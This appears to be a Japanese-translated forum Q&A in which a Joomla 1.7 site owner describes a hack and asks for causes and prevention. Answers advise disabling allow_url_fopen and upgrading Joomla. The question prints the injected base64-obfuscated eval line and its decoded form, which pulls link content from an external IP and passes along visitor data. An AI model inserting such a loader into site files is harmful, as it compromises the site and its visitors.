3

今日ハッキングされたJoomla1.7サイトを運営しています。以下のスクリプトはハックを行いました。

eval((base64_decode("DQoNCnByaW50IEBmaWxlX2dldF9jb250ZW50cygnaHR0cDovLzkzLjExNS44Ni4xNjgvaGxpbmtzL2xpbmtzLnBocD91YT0nIC4gQHVybGVuY29kZSgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pIC4gJyZyZXE9JyAuIEB1cmxlbmNvZGUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddIC4gJy8nIC4gJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pKTsNCg0K")));

index.php上記の行は、テンプレートフォルダの私のファイルに挿入されました。フォルダにあったすべてのテンプレートには、上記のコードが含まれていました。各ファイルで、それは数回繰り返されました。

コードをデコードすると、出力されます

print @file_get_contents('http://93.115.86.168/hlinks/links.php?ua=' . @urlencode($_SERVER['HTTP_USER_AGENT']) . '&req=' . @urlencode($_SERVER['HTTP_HOST'] . '/' . $_SERVER['REQUEST_URI'])); 

スクリプトを削除しましたが、サイトはたまたま正常に機能しています。サイトがまったく読み込まれなかったことを除いて、スクリプトは何も悪いことをしませんでした。

私の問題は、ファイルのアクセス許可を644に設定し、フォルダーのアクセス許可を755に設定した場合でも、どうしてこれが発生するのでしょうか。

問題の原因をどのように特定できますか?将来これが起こらないようにするには、どのような手順を踏む必要がありますか?

アップデート

このフォーラム投稿アシスタント/FPAは非常に役立ちます

4

3 に答える 3

2

ファイル システムからファイルを読み取るのではなく、外部 URL から直接読み取ります。php.ini 設定を使用して、php の外部 URL からの読み取りを無効にすることができます。

allow_url_fopen = 0
于 2013-02-20T10:47:25.707 に答える
1

Joomla 1.7 サイトを運営しているという理由でどうですか? Joomla 1.7 はサポートされなくなり、Joomla がリリースされて以来、いくつかのセキュリティ修正が Joomla に追加されました。すぐに 2.5.9 にアップグレードする必要があります。2.5.9 は Joomla 1.7 の長期サポート リリースであるため、下位互換性の問題はありません。

PHP 設定が、こちらの Joomla セキュリティ チェックリストでアドバイスされているとおりであることを確認してください。PHP と MYSQL のバージョンが適度に最新であることを確認してください (少なくとも PHP 5.3.x - できれば 5.4.x および MYSQL は少なくとも 5.0.4)。

最後に、すべての拡張機能が最新であることを確認してください。繰り返しになりますが、開発者は、新しい機能を追加するためだけでなく、セキュリティを追加/改善したり、発見された脆弱性から保護したりするために、モジュールを常に更新しています!

また、スティーブンが言うように allow_url_fopen をオンにしないでください。Joomla のワンクリック アップデートが正常に機能しなくなります。

于 2013-02-20T11:00:19.913 に答える